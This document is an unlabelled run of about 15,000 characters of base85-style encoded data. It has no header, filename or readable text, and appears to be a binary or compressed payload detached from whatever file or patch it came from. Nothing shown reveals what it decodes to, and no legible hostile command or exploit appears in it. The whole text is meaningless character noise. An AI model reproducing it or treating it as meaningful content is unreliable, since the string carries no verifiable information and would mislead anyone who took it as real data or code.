zG0j{)>-Z_P(c@&wZxl5?%KXJYrjv|Ao!6hsMv%wO9T9s3f4Fz>hZ`&NhbymD=l)#o zXeB@c8`{;n-O?R_;Nq%2E1jA`Ut>1IVAcc}{n}IZ##`vR;9+|JfcU~gyB%**Io5t% z{+K76K5GU)jmzVs*!q0Cq^Hj!M~gMb$cEk>wdM`_(yw{@bGrw&dtkcz~J!Vtm!*=@IfStZLq{mhiIjjciNI?Z+(9ZUV zDf@7_4@FvUshuCdXh*-#9_VyJN0k08?-waSl~OGOg8e**3YX7c zv`c3$*d+7@`#Z%`o&-RWs}Hr|;2&{FIVJxC)kd8RZ5_|6p{^`6gKU{z5h~*)49;^| zmjF^xrtI7x&iMT1n;rG6It;vRJ#olz29`^H>X%gK?{h0CzW~saKbtwMN7Ap5VnP?F2p>wYeTf_(!(}+ zrniwJ&l1Wckn!h)L?x2R+z&NDgUMRMIH`}XMc0=w*k>_bTdxNHy6QiLbXUV6 z1Fewm*1m)0Yd*_dMM-e{)EOIH;}9t2-gNK*YfXl2Zho(uH(t+F--hb0^pHq|{5Cr_ z>d?Q-@2dg%tri5h`i2&qT*+_%aa;Q?<=0nt?$r=(j9crj9TsU!xcQ;Et)qZbNFgsGz0zsBWN^!96qK<(Bb`v&s>TNuU` zlpjneWo-c72}hR<#+o6EHHxO}w|1h-YIx6j=8V@0{?&qF^fNe2XJ#kt%H@7La}396 z$XOBy8jq@RN!10q6KS>vXlWY=AUznD(m1Yz7Z=|R=6@qu3`L`@t= zcC|DA3AlM%KqbqIAJaOU$FvO-MT#OM_h($(?f=Lz&As}!%|UCqf# z{|h~{s~4r|{$8@V;MC9eYfBImxnQV=bvtdHWVFi@kT@v5aHX>4{=iH24Gi0veyPSQi?Z*8uBlR*4HVSOH z)}C5<=k{N>OAiD=unNVHTf?A)(r9rdj{hhUh`2n85jSUj%%^$g)9h@!)#O8D2J`8$ z-V%d8e5W#B%}gn1cFOv2v^sY3vNM?Kirc?Aw#b&9MIdK%kwxuFX!iNXrSND9zS7&Gew)){Kk6w zckM0q1`hoYKc!}zw7W<}3sbGJXd9#}{d1j|uizbn^U zIaFKq+iJ(D|1o}MlkCBL@QFC5ULLgzIH;~I!C(xzwF_B;F>fZrl!)L)#qsH@4|7)w zjVucwhp{hDU@UA&v=T%P$~pU{UjiWT3WZg7miA=-*R6cQ0N_L?T|*jlxv`;XK36#m zS7D$Ikb{mci?+0RzzNm7-$qTrVMM_J3RK;J;WLNPwYH`d=&%GYl^CA1kop9jhJ2sp z+o5i&m7a=&^mfQy&`q(2?s?w*W8))?)428E3^9j+TBvY!x}GAmIbH4c9CRl6JjnU* zSwnq&pok+wFfUfk@mw1S;xxhfijtiw?(`;{dk-PXP5h;`v~*N!K%&_l0XaPUKC z+r1B-yQS928{+jPZwP^PIp+Z~j1FJH5xWaLMWY?Ps|%izAXX`N8Hdse5E8P`ge7mV z{~>RTj!oJiI`27xn_b~z$r}b=8IRxuhP<)9v&*$x?EfNtbYkQpdber2*grz{gn~`a z_AsA9COuurho*XdSF%@KXa~Xioj7tqhshpW*?XG2pnmcW%97X)_(vW3C*#?EkuETU zlhfGnLAx@Zpe+S!kBa|hF0$Yq0yO-BoH-ZCVw#3uAG~mu>~Y9wa|;BMTw_xB4_NmT z`hxt`K#VYa}!@G^Jsv1wxbm}vfbkEOj~H03<|VOa;*=uFgd;i z67>W+%o)4u-unsU$l;KW?f~XV?JIz!Ift`xVq(%xqK}xukzc`pH^Mg6B6EguaEUho z(17d}q|=6=UA_)B5Ae#BOJ`ihkinr*^cXF+8#y;vqo6=vXQFqYeJpJ40dfvX($3Lg z+z>Gd(%t zvLS6`>uN@yC|ehPpWEdF>H+O-O`|$iNxO3HwA-TwrU(eE2v|aY1)Xp0>9)>2yU=@p^1RLh4Pavp z)OTX5n{>81>16uh{j`6o__n(F*-5)JNDvZ4Wrkp-0{YKNTb=eO-h+K%c6!p;>iVxt zpp#ikc>%ydUXOR62WsxHFviuAtxon2G8~}C+J*C7xF%xZp$z&OP|<0N=u&Fpifh-E z?p+q@ItYIdvb|k6=R?PY?q6PZf7 z@(6pfbjh+!6#RupSFh@l$sFE*U9Y4|_SQ*|;1}6|7jdMhSSQ@8jJ`Tb>!hA_(&%`~ z>)C*3CJD^FYMtcWJStx&>t#zR%?_=bm9^-fI(njiu-~9p9>6XQivqv9$E|O$hFsfZ zW0I{&cA%RhTb5dN^Us(Mff$JVS=)m>Iv$+2=%pNEj(o(!oD76LPG$5;x8-Vg*v{^_ z-F*mNO_5(Kfda0lB&)!;EdW9{Gc^vl1GaDYt_iZhNiz0}=s_^l0s=pEG=yCiX++E0 zzQ}%450ZK?P{e)%4W(1mhdvKm{(?fAufet&tVbrst}2?nO0vr@)H(D_GEp-+k#+*C z>#s=iT-n?zu63i}(Bs=#Q_TXu6z#3J=40@O)?Ta)@TwZ*LjVMklNZ?YX3GE{Q`3OH zaTEX+l>SiuB}aFNr-4SXd6xPN5K43a&UV*#j(rEa4j^M!kejwzB)5i}x{QP})`@RX zp6p!x%KEc1q{{F#Ids{Q=nHe|Y{=zB*~%MYyV#p$Lu#-VQe|8_jLf@J8SxtE#}IZg&1KcNYIZEI+-2@;Lx<63 z5%%qk=CZOOMB%+UL7$5zMHx!`NO`rQzsiK5x!l$gWlt|3m$g?`>a&W{XK{(gm3m_} zHZkV(S&P|5O9BF+wub6G9bieH<=F+K&yw9x`YdGtodXPbtv;)!Hs*YZ8kt|1Ter)0 z4{Z0qb`RXKJ+MvU?%1KdGhS>lo3imfkiLcoY+OooUduBXBV7>P9IEfO`|j$nPNLuA z*NLLvTyIEnkua0DM}BD!PGR--{!7E8#`GAl0v4vx_fA@-pLCR;*<~HwO*kzPb6FpT{)Hq<{xk-f7%d4$+3VDa1n6PjBtN+s?(TMHay$?ei0s%Q4>rp~|>dU_hI`B^0 zgP^Vy=eUWv=I^=pQEMd|!sNGKw=?HoBc_#9^zIk$pLr0oF1_^^HhL;z7k_~g3nuiQ zqrLP|9m=_&Q}WNxoOLOd`>!N%q+GDU5t+TNE_?60-wr(d1^dLq`)v;h;}T@9Da>4b z`}Q}k2Q+SNI2|6e-~4ZX6Gd3UPWwe!D-*@++SL3oVWT?Y`{ zanSWxbPxhS?@cmRGerK+kg|IoD6R#ZVoF8pA>x7?e)p^QgUZp35fF#v(gk>i=i&&0{0Y&->1&igl4yELIhZ_kH)pKBjwmrh6`FMw-!WS(2rZ zEX#`R1e-sSO|Xl_1_%~dY!+A`yFjo&f;F533n#HRcH&5~ENQI!8d(}??&K$T6+QI<4d6$L-MZ1{b~f?xgGx|U zWv4!W#NyZQ*snmfUclkmEj(xiWU|p-`?vr1|As*^WG!6>K`}_!{RE-zrH z#nJT=XmCQ9kz&P*fLPX0MV1a6D+nkPmf%|2qqR=}2}aGUZ(g*Ke%Exb)(c(SkJCvt zh#N^zAh#7Lg(KO**cJ5JllG$@{Mf$rH$SqT!Ca$3s%IdVul(AsUV6v=_kaFN6r>nd zS7*wduhj1ffAvSZ&0luN+M8qc559B+!8Y4qzKElC-=$YTg6u?!uGw`^_cKep1?7L+6V}*TZVBd6 zm>g+EOy)1Q{=PI(i;#Z8suROjWp6ucTduakq7h2*_+-+4b*|5n@u)Q(Cg_2{L8qWV z6XJ&t2cjxc0yIQCHZr}Eg+@5u`xbQirv25GD*MUTDy^c-V*ps-oPncH-Q!kQ6|;{# z)q+t42gJ;#uhtz1PFh`rb&ylH&|U`4e;=o)P`YmFRsDfvmj%lAfs_$hts6yspn^cd zggt)Hk5bxacP^5KdR1$&yfkgoz2CRF0l)ppzxts?ON*_2UzbIrWsVU{3Xr9lJGM04 zZ#VnK?Ix)9qXQs-fovl1(o8y#*@cbYYxaZ;8MF_6;lp;~*#q{qAHQiAxpK=GhTdO% z{omW`p;G(VUxI)GQkl**S1~+Cpya&WIq%ZlUK}>&F!J5Ru_LSC48W+{(ZkL5flr>W z1N9{j&6y^rp~`(vTBNqi9{b5vtDG6J%Q%qfN|m{x3${3U+urF3*uT8+*PI7&>)5y7 zam)%yi3W{a0ik>rhmEsj+nJf3AYYWhM6F zfByw&;%&S2$6vR>5m06LCOz7$_?4R=lHakf|JlEW_b#?rMJ?IU>a2xq1kGfH@Szed zf+?6K2&TX98UcBecK&i7X=dkaYHHkZL>`!Q6_M$BIiDE+XzPcptfJALKe^xbwN+U~ z%1XYbe?%B#Mz16z&Ts$WN9+s;YiGXx3yh|j{2a!z$#MJH*Z!Ra32yw=x0_Jf2CS1z zL{SiiC5gx|GjRU0&ElLm1TydtfpJ4)YtI5bzNRj2pZfBXP9}{gfr_%y3r|7(7>2p8)Pj&_6|Fs{r5D-&rhv0)lXu8F-zzEyW zwR1TBjo6LBahrlZ43atNu7lNs@8YhtAVA=a4|$+ziri<91noKwazDI)Gwod)i)aM~ zB^>7dzd!lEK=mfLu5mwmFlhL7K-0AQC*XbN>>@#b6J#_KiqR+t!ZUa4*tO>FRkW=U zaOv#9M~_-rV9LJn@>#pgm0O1UZ`u$4;@>#B7tz@;4z&9l33kR1uDz3@vr}Zf=tIXc zxdAHqBPUzz)N>z%CnfFpDxJ-J-roP&Bao}Nij{?}v#r*Z&o%z&M}}{aaf~4DYqtp` zM(@$vpUxJQSz8%lcj(!IN8V82$cT+|o?X18AjLUH-VoyK^j%$+%kN6wh*dRNXLFq$sKW5SLxfTB zCvX4oFYE%&iWh!NMmu!j9j#^PL0xZC1*Qy;b#x8~$IbZNs`|J+_qh*RYh%*l3Up`i zviV*8ht3VJxr3*>Em$W>1q0A2W-e}N2xelkM)P)RuLQ{aU5z5+XMvDUN~?shFz z$Ch7RIk2j(-9GzV~v;qvtnoQVnQ-^A8+^mvv|C9%6oM-bNi(rHGljNz%x_! z$){dMPqkow^LOZL1~c^*(x=bbt3UsyUAyoyHqUx8o7NE+jvfQqs|cq#j}My|dXEd| zuA-ZnwLt>ubVki&I0Q;>CQ}Gs?Bo$zC^r9xA)gE^Kwx)s^<* z?;Hc2I%XyC6WO!_{av`+PJZ%B$e_das~i7~j4(YWD3%n5sychmzXpGG-Qlmk22yS# za!X?)8J9(*AXdt7GdI%XWCXaG-E?tdD&3wAHojv*t#!qh|3} zIz9c?bhyc$`tmWG`VIQ3S9|sN)q;j#<%;!O>$89TFE2QH!}fzmIJZl!yQ{&mO%(x- zBPah$Z@)&c!62YA{Wdy2Z9TW{3R^;dQ}k2hpR;T9YRC+tH9 z0|0(3*h}cbr&f8Jm4#^=zxt9*kzw>t{;!wNg@o| zbcyRS^CH^_pl!_YJb|>SlFA0E%&Gh8%Lu~NxtcmvQ@?tDzZR-X4#3O3)Ii3+vUrv* zxrhLlk-i&T*KyW$b;%>hJi~cx6DeJCG7)t$IOXn>lnuD?(6NH|Ng1{X#|A9pV8%X? zOlnRp3-n{+R*KPPhvHgpSKWCr7 zS5>T_fABjtrsA?n#||WWknEppZJ>9b^saal3`gw9N4`K%HCgJ;{h7_*x#k3sW>NP3 zvjl+j+ShNz?dRVDrM;GnGc^f^ClvR#Fg*!y*%imX;r7U+%~u0!LlX9dx@z4AljVx9Y~qO;x-1mXym zbp17ge-VMg^KJn!bu=Ws%3EUf6~$JEADK=( zNo=Dx3CJbbYZ|%8(QnSoV~b6nhpFa7urGi9D~~&}PC4)8PqO}cbMGoDDI<8Y$!ZD8 z)>{H6#Ugk^MXOKLP&5st;oqsCM*Ov*@!1So$thgZrCX(q{pB@)o+5SH6J{P*uW? zK5@VaWR*Tk*$$OaXA0ZhFJB>x)A*#L&(gUvNJg7fN$Im9$tG*v*J+h(yFC^oH9C8* zdn2$n0`J8U$mZSOi#^=y(?dN1GU!i&hA=gT(-j7}yS5V;b43RV^-5`?DnKFFU8Ml& zt1+lmG?dvw(KPS-?vA62el}#@1;0(<_&o*pCAfOw9Sj8^?}2*mM~QDBPlk$%t?ks)R-6RETCm2BDCRQ!;aHL&f_;{(ykdz6 zj(9LJb9hKdwNrk|@Ab%Z`iD{{Ufqb1A(62!79FPqXKWdz1<>V&Z(ZSC$ZmPYK?4gjUNw&JfjyCZ zK{kRr=Ny#jw?NmP%Tii%8`G%F20|Z5;FRBt61AK(^4aLcnrr3&hlEPf+YVy2DhXb7 z=2(&OX=E~Fqw~Ym=d)=b%VXsgj`LD^41@>}uRS2QT)lL`uAX}vr>_~D+~w|-UF0O; z2i>7mDZ~?D&>TVN%0abp?ohiyy(coC7R%8qf zTzTD$1zSPYfgYq3WZA9Qh5vBsUs(d_gXsEE8Z`zH6Ls{U;0Q*EjOS7$eu@faKhd4t zSrEs@1}8wo(4E}tk#bxJ5v2PA@j(c_+bbvr=RqN#Bd81~mp9Md$WruY*Qq@^Oo~dg zx8Asw{na-A3zmaMkf?O-zKhhIQI}9dW0X1P9qXEz~^cappgH6W+ zKog){w+AqEERimHDVgz5HUekJ{ zi=ia|f=dm^qyE6M1+PruL=9qw9tw?FoVm?qc5%GNaXOe|-eWkem&h3jW%}aeP3OAW zJ7d>+(}s61-vw}B)>tj!SgJkl?x5`6a3iM9+fzzL_nKZKuI;f>anTa zDOArv5TxYTaf5R$Mq2cxd4iW5sbdaf-mKkx;~dW2^A6glc$jp7w!=3CP>^|xaPq8- zStmg&NrE3mX&;Khc@biLdRPlJiI^>M?u0M%f4K*aQNK9z##6f|^#8xiM>ieml$Dc}ngdG1Opwl|*T86Et%LC#GVjeF}C=&4*C+ z?%cTK(5l=0lk_jhUWPBk0ZaRTi2$8jpo30hG?gJb+pMh-7hee44o=cBjCCFRD{+L4 zItVu#or)T#)g{5Zz4EY(fCqWC2vvOubVMP%3QbT>QmM&Qp!`_>Rl4J6UCkg%g6`_A z;T2~GMS*cP^`CnKq+YV85d7)J*K4IH(+TSwPn<<)`~pss4}0cunc?;rtQ1Q0?)8)7Rsh-io4z<^Bs);m2mn&H$Y{@e$@ zU4&P%F43QP#x1q4ANH}^?e^b0TI15$ctyGS542bn=T$^b&dhZtot?)iO{vkv6N=7i zU)T)BMjU-J>FgwQR^gC$bx_VgxOCQ!&O}D=>e{$<9ROh;M;Sl-?jD_8yIQ<*#Nb?V zJUiiGSAZwY)LX?kyCr)$G>O|6(O2EM@}>g_a7zv;IY%)^Fa}Ff#lvTm!=&ez&)2p? zpNL-xkv%IEo_5esC7+}@ES#_5d2U|4;IwxF2Z&;f${xs{2j`JUU9;8AE?KFg2+&&F zVSzv_5`4cr3##_?wDo0){#r=_B!QO%;H07)-6tL2O};8bcAQvsot2VC&Cj@~N22sA zs~K_@gz7svXT=;0OXcV~aDoq%RIs0dRvw8EbP=)v;5uhvY_+F#O^**d*O1J%p193; z7+s>?C7;YA-^&4PwD$rs_K>~$>f4S!Q&P%Znm`AIe}7nQVBmm3qI&b9Mt2QrY;=+YOSL_>df&*bR^Xl8O)1gH8?p%9C>3FdE?ULv`ujK zNZyc)my$PnVHkU_lQ9pc&2i+fA~Wx_2^_;=G5_uq`ZYSZstS5P31Z?UCkvgrtg+&+bBzw&#!2$F1we%k z#zzR~q|Nhj0uE*g_y?&Ohp4x3GEI$@gT4x{E|r`IfC2FmlC|7A-F9yFSMo$@MT?b_ zVWFw2jFwr8t*Ws7}B79}J6^)nL5RNSZn-K5hj)OaPa|CV+KxMPyj#iW8p<> zFoaxHX3fY|#diqKhQ`dGlbAtnc6mBxl{#ls(?@0EY7(BH%|?Bsu2jXu|MW#qaq#C=)C;Th2HN{<#I z3rnfafrK@JY>p{(ouY|HC$nm+8)c;_8@bmQSc zcwqEd&@b%+wI|JA4MCUtZEP$7-Ap(~muy>0a}zc*a0xJ{IXicY0C_P2nT3s@J_K-z zu4$^a#t!&DWTb4{mOC~P&eZD8T8s5eU{AX3oM*~Tp)7yu>GTu{{(h$|W2tOO8SPP)CSM>yR)MJ1k=;Q15jKGWiZCeZ#elIj zR!684r`c;bB4eu)NREvof+6EliUMduG@!o;z!2 z-g-L^ZPyIIEBMHI8YQ?G&_L<%qrlE@ox92C)O+x4t}Ypo8k=^Sm$<7-=A67e##}{l z3eV6b`_PLF0IGK9`UNXgmz;1MMsqU;rq7E2z7w176A$|YH~0klS;qzpZHb1;W>;>Up_|b9&Jvu*eCGq5zdj>*$RU22>#`B%}I8F z&N43o6NuwDA0_xjywbfanQh2?zuV7L-CL?39>q(hiJE${{cUyql^Jg^Ez`rF||79+~Jhfxlie{ z5_OH(>(M`II`_)n2<(l(-Uz&hM__%Qi1%=(_qz5ljDXml8G;S&*z4bY%`V>_Mah^} zEO~H33s*mCWkf_)!{Alph?W8{-mTtAsBYN*s1=pd3&VjdpMGtVbXRT1@(i~vV=jRzZd2ADpwyup)x#< zQ#69<;&L|I2zcX*0fyqLs zh9#3z#WKcQIk*$Vnzytae!@DAf51+H26D1ns688#2r*$A4PDvHUf${-*oT-wXx}VX z{*J5d8b4j?@mBah^O+%}Fj+Yg zvCVP1opB6N3waD&4x-o5k0IFC*{R37?ZZbZEVjg?zk?@lsS>sroA=IY(Kngt!@6UbucR_Zj zwpNfdLpXxr50rLt5QQQu*CMsUqdPMk$Ely`{6-$rHmiFW-)H}ymnvC3vU z{h5F0q?i58oByx%;|zVB=}kLExos8_@3r&iQ9{YtQ3foi2>~HWJw7w1Qz~6532gYl zM?Y-SgF|-q+utP(`MiThlliNS=&=I5B9({WDHiNwA0<6*d%b=C$8XpVe*C)AuI#qW z(vn*se0uHeccjo%J8i;_Io&$mk=Y;s0=3Sxx~5h;y06jNVklMf9k5Pq?jFf( ze^z}D()mc813=cA8WTYIB5VNA(alnOdhb=0~nVgKYSy>{VhpZ)o_U&BC| zeI6(a$LyW6HqRXYX#ApsPU)b^aZb(jJXGHb_pUf4?5jE3P%}C)+>GtwawihBfCP}e*05TSuZ?a$bu*gpH8Snn6E^w^(%?Z=LDOxA5!#Fi%eY#BcO+?ifSk?pJ;=+Errq;oc8 z&!8S&%AZoJZECPjzW7^KPqv_=O=TF0Jfd~PMw+eZvLbP^$P_fvBQUB_Q>&=z51K8 z_M2DF@mY4!n5r!)J|(^Oap0#PP!y^!tRLAm@9aOdCv%L_wTUQs$w<~=kALxhw#KWM zF(Umr0lt&=Q-b>Db0C~)M&nq^tNMQ62+bY&M8k@NUdr|t0%p0)#RjdqaiLXy2VqqEwTx}0ZZSGukL zRFB35e`Bq9tmY?NoQ0og$l=Qj`}`6i8IoddwCp|px(j7#8HegiZ=&-g1$+OE>>52dky(;}nMOO*RBDwm z0;YE7v3H+S44_G%WWQC8daMoSgxm}{0ylZ(wH~YOU$kS@tpuSG=!(1@!a3~YU;UIl z_TgjbwZ3f^(Ot>eF8kDR<)~}t$850g9Y;P<2Ciksby0j4&ZH9rvgNK_PZ7>v)z4T- zG;Ys7dCc~8)mdd?J(S|RUD@#)wL^PpxAxKc4dSG9<~C^ECm*#(PCaU!Ee+0<07R#- zRh+6_3j%pR6msN^qeFcb{Ez?1u3frnzqy0sL9TGluLt_b&I5w7_})x;V*$Q5pR>28 z2#4HJ{;m%>7J9Ud4r?AK)XcFG((5B1`V>x)I8j{x0Xn2f z`#X4w0kU`&Uc{deI9<2jKJ-Wb3)$9sto$e6a&*Su{OMKn1=$jIA@w#LdfZx$J!M_- zX|5@|g#7n!|D24w>lp(!tQ4mtGWb09>Hm(Pka25x^H$I#PEIc-xLw^~wiRj_u#{_)=<8xA&_KlzIvW(9?+PC3fX4c)W_GDp5W zNB{wRuvDFzd4bd{%%THaXUfWJ8toMAO_s-@#{_|s$#T6UBuJ74@xR)=TifsI#k;$R zhU(f{N$d1ewl3MZWbYE%=s;Sy;6KrdDZpL`{C(Z!8FFo18D_(~%@EIU{KGF2px9in zt?Ta1yYNQKO5?K5^4f(b?5v7H*R0m-cGNrKyV@T8oYn3p`$X^?cC+WYee=f`$#9zO zqOV@ekX1}NnsMfRROu%i*$cT6y1S?dp`0Sya46Yr#RO2k_}ibfHhBKST~#3GqI1bw zJ2^Mvk1A(OP|$%U|{0 z9I(-01wS}VaUAiNv0o?%Oo8vY#gC4)<+ka%>b{Zytx@wezOu zbU%6w#NZd~(e7p^+lXkQ%jRl;(1lmE*%M#*C+O7&?CPC=N7i_*=^{uEsoyE)+O_kc{0|?S+`JKa!Cl}|GXR6Jugap#u@{ki+Vy;HkKGOD=1?A_;{EBSYq zd+%m{RiEz9t#`Bg6o~5e17K2CZlC`LFWS)UUi+_q_TTL4zqybAF<)5;&rr^b9n}0kKBdK`dE+7YUyMxAO7D;(Icdf*y?_9vy?waAmOY% zAAH#w>PqdWWIFiSZ+g}~9$V|u#4Q^~fB5#K?3`|IH!D@rnv}?0Fi42`2%M)25 zqbv4bvHRRWFPU3XW2V{7CmR&`39fH_!U9#}_D}u*5CLSJKmO0(C5T7<5t)Vae|mst zd+pZMA{#<}P3^CFvZiZXQteCM#mVO>hc}4X=f3)RtFEcE6CIVT9Y3M*-6sVJ)9ovz9&huoRUX zWi59&Yq^ZIyzw?+tt+bqfg93iO%6Y1FMaRVHuc?C9B-5C5f%L+OVhxx{p{O)j0eCa z@PH1u073SP@TSA?j9Rm)aaNxcXi{8x$|8w+N1xTvS!cBbnC+Fl5!f4ny%Bh?k3eCR z{k=X4d;NPCj)0D7Pzz9AjP#MVcxZCf@zrgr9NvnG%gx7CjHVZm#w>wsH##H~n-Ze6 zOD5+r9%ri6)Hb(06GW{JPl8zQpwXwFS`-L_x>jK&CAUd@<#ilZ^RZ|`xu3xxkt)k@ z-*Yf4LJD#neN*4Stl&(7TcTCf)R5I-#jd|`9xQLSWY?|sA+*8mjE-iT{Z@az?n@+I zfy2r{9F#x=Nu&cP*1dr*DQfuit0J1M=V??DZ{p`b3b~5%dN~=^<6Cgvnz{_u5 za76ZO0YSge+#_5eT@4Md{Z_xoSA-0pV1u&icB`nUw7NLxW%+){XI_v2!g1z!YTBAX zB@crP?J5JZ#bpU5Ga%5bOyu)(cD~8~Csa}l5>2z!f^HCD9j#~R(%l-HBHxNtmx1g_ zp4{~i|CbpQU8yonfQyvEvsi03THC4LZ|7A?zNH!F1B0{N(Nazxib7ZVK3!5)=cg=E zUEs=wBlXxgO8(UbDD|$_7sD|mVnGCc$3C%*#yRT|<@7R$gkzlT zbur89JWA{xMhnKlLEBsBSKI!WHN42#HID=QB#OedDlyz2a5%0?Mx4~hj#J~dAGY>J z(N&%LdPZg3KJ#N!q+}QpJ<(-1mzgj zU%%^ZNJnWg=AZqM__J=3J@Q?NnXfrDf?2tn)e{B-pr*G*h*Gw-&7 z;t}4ls-=~Nfqr)O9jhTYwogzed0H!EsId_tXcSnqx5;)BD5(NzvE24G$1S}6;bcXj zxJApRZGUT(!&@u+z?y<#P{CFz{RByDrT9QMOVqVlk_=guWjb%xYs^+^E%djblLezz z3}V~S#t`$yd31DPIqi zVI@#nWpQ@%K~QQI$+VPzK9B{LFyyhZ#_|!_e3d)uX^h$7a`w+*GN_bV9KNuSAXM#E z?cv?rOS>&2r1txEWnb5UgOrNp@S(KU1KAu8qoi_il7gA>XCy)$7`# zvy}{qO^0x9^jHJ(?)=(%t`nc>)o~S=fPr-rwL5-P2;Gwdg!{lLr+2Xh5l<~bhBNSeujd8 z6l_q9-l`V8mE`k+3$lG6l7ME;S)BKBm&wN~NGCIgb4+HL1-xUPV8kVTxf_LgrYA>m z0Kek|J7!m@K9Lfhpt5)vWJ465tM=^dpY7m3FR1L^04Tu4VV)$8J)4h_Q}yu3G~X*r zlr}B127+7>5v6sl^*9Urtc*-eYUx^P=gK-$V>3>MEPhf@arL~_7J!ebsf>eeOZy7C zb7w!&jJiC6da_INo3}}-Un5p*arQ)O*CA`KFSCxilx8>YO&feDxz^{%8!-ayYZDQh z1$-pn@BwT4F-s;5U4<6u!iqqR4wNJud84zD47eM}WvVw#L$aSAL{_M8X@M1)u~D28 zweQ?@qu*^+52`1DJILB?Xx(r1H3_Rg=e4L&`JHWbILI)^1V^nYEVHFK*Etxnwxtq8CsW(9A4Fwk zMhJjLyZ-H)@xNN_scZdO9=>mO(x;S8|E{g;^$U)zYwfnvQ{Wj;E{%+Ajb~7>!B%Zu zyEO~z(Zt=Vf2Z|qwq{koMt-|Rj&G&qjUb;_T605{1y{zbcpbvK1fQi#rI2mvo>3s> zhT|ae5&%rLlXw^!;2tg;HaTUhlV-EKtBGts3(ncORvb|8XSQgoldjEo*H%|o5w$3? z!usSK+Xr?GpLfZcTbr%CtOV!UVkg*OEsyH*S31hKaGawbfS0Ujax!gKlfj@SwtkSK z&Y}RkdsRh+wN|?}H&>^hy%HoVPmQ@oEe8yE!x7K^GM0>^yJ*AC7R{4w1U?2pzDmxp zK$!C#5F?U;JGPDNT3DOt!Y9Vu46I=O6j(H>WKRgktYcq|#T0CyV2}dueqa3z9y3#y zESq*9AF>QG&C;9;igGV?$vQ85_(x>!6HWVC?Urnu3){8<$EpF(+GL-k*MSHQ>cK61*JR4)vBd_oBR8<&s_f# z-RsIeTdjru0>tHI9-2Cu$u1JM%D(|o9oB0t`>U4Y>oT**RR~pg+neGO6SBiYD{A5K z-+RU7RYPQ&i6u)cbSwY(_^_?S$&M4n&LI@~O$!QxKna=V$ujO=mA7iVffATT#wu?s8bO&Qq1?H>oT2*;Zb4Z@&GaIyS5qJ|z^bb{HYAs>RQ@v;vS&#wtYw411t%3j)00-7?<~;YNKGK=0 zY~BF!vX&z}+YQ9X?vWRV{TTd>F1;_L_=3b*Xah_xK3LSzXJ-t8IRk z6BJqmLneLJ5}6=gd-JlRopHI(%vNc^&N!gH16z@KWv>lYz`xWw`mAQa$y`n=H0hTYZAOj!LoD7hK8 zJ8u;=9mVl^5)@_cO(~huY+rE*6l74Px9n^ILoTC%>rk3G1_(f)mg`z?Y;xO|`d`Rg z-argtN}r_b^uk;Q5n6+!$##%9Qa7YtVGunSkc5OqgHoS5uSFO!{0Is~2!89&R{9pz zQIcr0Dqn?t{)?Zr;h_<`@b+6aMTGG=(D28mHRn^tD zuf7zeZJ+=nTXtRd=Rb{*ER&kM%%cB6X2syjD6jc8^Ou{w_u*{liF)kt6HhRoF}rd5 zrd_{%i?s1G_Qv^JtEs*>tA(A%zKB<~TM7GOUsr=A$Qsdp@CbAuX`Kx?vr|QS1?ASK zZ$MH!A%_LiK|>yJHar43#7Y{}cUe`wTth^D{MbKB7O5LA%;)YO0K$@=|F z{c8KKLN}b9S6W;YDj7~23ec#=NnKYV$PJk-C@qgz4CJ7SdIVAG*%5=I0Iwp@!d;?~ z`IvkD-ixxw51PIYlsxU6Y|2BknA3RU0b2~jtt)8CgOLgPb zP1bhgv@Q3HTIij3KxlSRVOEyO<}-5x=jmyiV3C)SmNXnp(-@uak*WjeNUQCIXIE@r zd#}BH?mSMt<76aRm2l= zpb8T(^x-f44(G;@)m(ndMkl81wR62|5bE>Qt2DQvXwq658?2?F5oK`H4wD|ce+Ame z8AtZo)y=La%h^RJ?S<_h1=EEq_Ss`kLdB!C*4uNP>xOfl>0Dcr#yejF`K$;fsLnK@ zZRt!aPsHu`!A47xIVus}cqdCq6^s;{e+tu}CylZs<(BBVt`y?PI*(uf;|=%`KSmZ^ z8&gVAQK8lleGoDSnNVu$?>>NSs>cT;T6uFJf z2Y5|b3(i;yHV9}6Hz??5kgjIf!3ZNHabOGTS>hgjkm5;Wnto`6@~v zUTJwf$S;-7RhB5X{l_pi5cs%N+P&Gc3jJOVSK`~_H4*#xS3Zy7aoo<`xWpMe=J3ZO zW7E!fZ@dHZKTQUYSh5YHWW)}4w_6lGqpQ2y!lZYt26b38cB^Nmk1Pq%ntj&cP1qlP zg;3^+NxSs++cvR{`KYLCwj^n->uc(*uDYImP9Q{eDGrJRr)|_QhtDNYiX6X*vLYvd zYXq6g1>;h{6tn4&e%WE{tKVGR%i$r(1GK)e9i`bVwWQeT>qowwH0OwSXC%tpD z$HO>dZX|bvN=e0w@;n3*jonEHdyALSeUe+YR_F;dS~5$njG(m2L98}<-BN+(cv19w zF*;`QA9RnkjS&-696#+;t=Xdr9VM{2B-w$Hpv=Dd#W@=s7_duc-*!+MFZPZ(^5I5p zkxW+wnqjD<%o+)FYi#O(@13=_>N$Hg2mLT5KdDXfY0T}V&e$Ld_Fyq|xTyE;V+-lW z-5+oGMsu}xzI>qXI2px$eHm+;bA-PepZq)oxOP52@c*!ezfK^si*rShh!Y3xIp+LP=dc|n}M=V5rPrUeP*2JLs;e{s9$w*H(Hc3Dt zzsSG;wQ)pyc4Gs9ut{+H=&cbOymrT?asUxZlB8}2wYR*f&Z6kQ#OLkCQ)zrgaf8bu z?33=3tybDUY*)^st6Y^;mUtcN8zzuH2wyk4wM;-pExq{4b)U%e_XLMng-g*_g!On`F8Rl68 zvOe=^tKRpRh0b3kbMB-gYe?ph0lg4yW9EDuIH38!`Jn9x^HJi+8>lGqI{am}pRVH+ z01e6!r+q?aEN^naf~vpt8Jze>EP45?LyrrUYyBlS$Djl6AhV3Fib^thwIwaS3RaQX zj`iP*?=7{?(;v4A`nCXI$-w9Y836i0uV(#o<3?-Ok+F(E5~Se43De!NI?1$aaycbF%3Cy-=o87%(|PoHs|Cp9cm16Xe{vh$<}4_R19;0X zseYVK#7_vANb?p)ehvi5;1VlEw;#2J_JdrNR)HPE3s$_x*}-`q>d?FVG%xq}?ruyX zzj%(LF^Ko!Y}RL^BO_eH==T<(@2+F6(>`PewNJ8sg5ZK6?W?S*urO%khmNuqiaA4z zhHM4CD-{x)`$WmeYTIVAvKM|lRx>@TiqW!q!#?z=qDAEpD#6GW5Qf{oe24ybc1GY<1(H z}Nk|2Tt|bnX4DzO~>uZ%^@=v%Luy8YJoMb3xowb@d&2OkTQD8%6v=3e;Jfnt)J*N8Z7M!($WlFchzO@ zN-~B(EAIh6in!4~pu1T-l5IWAU=F=GOdA-Ky5CRlWf)KWcE1k~XyrbXXl+OB&-uc& 